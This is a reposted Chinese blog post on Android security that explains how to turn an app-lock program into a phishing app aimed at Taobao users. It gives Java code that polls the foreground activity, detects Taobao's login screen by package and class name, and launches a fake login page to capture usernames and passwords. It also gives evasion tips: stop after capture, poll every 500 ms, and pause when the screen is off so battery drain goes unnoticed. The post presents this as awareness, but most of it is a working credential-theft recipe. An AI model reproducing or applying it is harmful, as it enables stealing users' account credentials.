zoukankan      html  css  js  c++  java
  • android安全问题(三) 钓鱼程序

    导读:文本介绍一种钓鱼应用,讲述如何骗取用户的用户名和密码,无须root

    这个话题是继续android安全问题(二) 程序锁延伸的

    之前我已经展示了如何制作程序锁。当打开指定应用的时候,弹出一个密码页面。

    程序锁的话题虽然是和安全相关,但是这应该属于防范的范围,如果被人恶意利用,那么后果……

    这期我来揭示一下一种钓鱼程序的原理,希望广大用户不要上当受骗,最主要的是:希望大家意识到安全问

    之前我用定时扫描activity的方法来检查打开的页面是不是我们所需要的页面

    Java代码 复制代码 收藏代码
    1. ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;  

    如何用于钓鱼呢?比如我打开了淘宝,然后想登录,查看一下我淘宝,这时候会打开下面这个页面

    从log中我们能得到其包和类的信息

    log 写道
    10-17 10:02:14.698: I/ActivityManager(246): Displayed com.taobao.taobao/com.taobao.tao.LoginActivity: +305ms

    恩,这就好办了,下面我只需改三处,程序锁这个应用就会变成调用应用

    第一个修改很简单,修改我们监听的包名和类名即可

    Java代码 复制代码 收藏代码
    1. String testPackageName = "com.taobao.taobao";   
    2. String testClassName = "com.taobao.tao.LoginActivity";  

    完整代码

    Java代码 复制代码 收藏代码
    1. public class LockTask extends TimerTask {   
    2.     public static final String TAG = "LockTask";   
    3.     private Context mContext;   
    4.     String testPackageName = "com.taobao.taobao";   
    5.     String testClassName = "com.taobao.tao.LoginActivity";   
    6.   
    7.     private ActivityManager mActivityManager;   
    8.   
    9.     public LockTask(Context context) {   
    10.         mContext = context;   
    11.         mActivityManager = (ActivityManager) context.getSystemService("activity");   
    12.     }   
    13.   
    14.     @Override  
    15.     public void run() {   
    16.         ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;   
    17.         String packageName = topActivity.getPackageName();   
    18.         String className = topActivity.getClassName();   
    19.         Log.v(TAG, "packageName" + packageName);   
    20.         Log.v(TAG, "className" + className);   
    21.   
    22.         if (testPackageName.equals(packageName)   
    23.                 && testClassName.equals(className)) {   
    24.             Intent intent = new Intent();   
    25.             intent.setClassName("com.example.locktest""com.example.locktest.PasswordActivity");   
    26.             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);   
    27.             mContext.startActivity(intent);   
    28.         }   
    29.     }   
    30. }  

    第二个修改有些技术含量,可能会需要一个专业的美工,来仿造一个淘宝的登录页面,就如上图所示的那样

    最后一个修改,当病毒获取了用户名和密码之后,就不要再继续监听了,不然次数多了肯定会被发现

    为了尽量不让用户察觉,可以把频率调高一些,比如500ms检查一次,这样用户就很难察觉了

    测试项目完整源码见附件,代码是以android4.0为基础写的(当然,我的钓鱼页面是简陋的,只是用于演示)

    无论是程序锁还是钓鱼程序,他们可能都担心耗电问题,因为耗电过多也会引起用户的注意

    我们可以降低检查频率(当然,钓鱼程序是不会这么干的)

    我们可以监控屏幕状态,当屏幕关闭的时候,我们可以停止监听,这时候也没有必要监听,当点亮的时候我们再监听

    如何监听屏幕状态?

    我们需要监听下面两个action

    Intent.ACTION_SCREEN_OFF

    Intent.ACTION_SCREEN_ON

    还有一个要求,就是要动态注册才可以,不能在manifest中注册

    其余的事情大家就自己实现吧

    请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

    转贴

    http://su1216.iteye.com/

    http://blog.csdn.net/su1216/

  • 相关阅读:
    MFC线程(二):线程同步临界区CRITICAL SECTION
    自定义消息
    Visual C++线程同步技术剖析:临界区,时间,信号量,互斥量
    //解析数据函数指针,很爽
    CListCtrl使用方法汇总
    进度条的使用 Progress控件
    CListBOX 用法
    文件操作总结
    CString 十六进制转二进制
    Numpy常用数据结构、数据清洗函数、数据结构series和方法、数据结构dataframe和方法
  • 原文地址:https://www.cnblogs.com/jackrex/p/3001408.html
Copyright © 2011-2022 走看看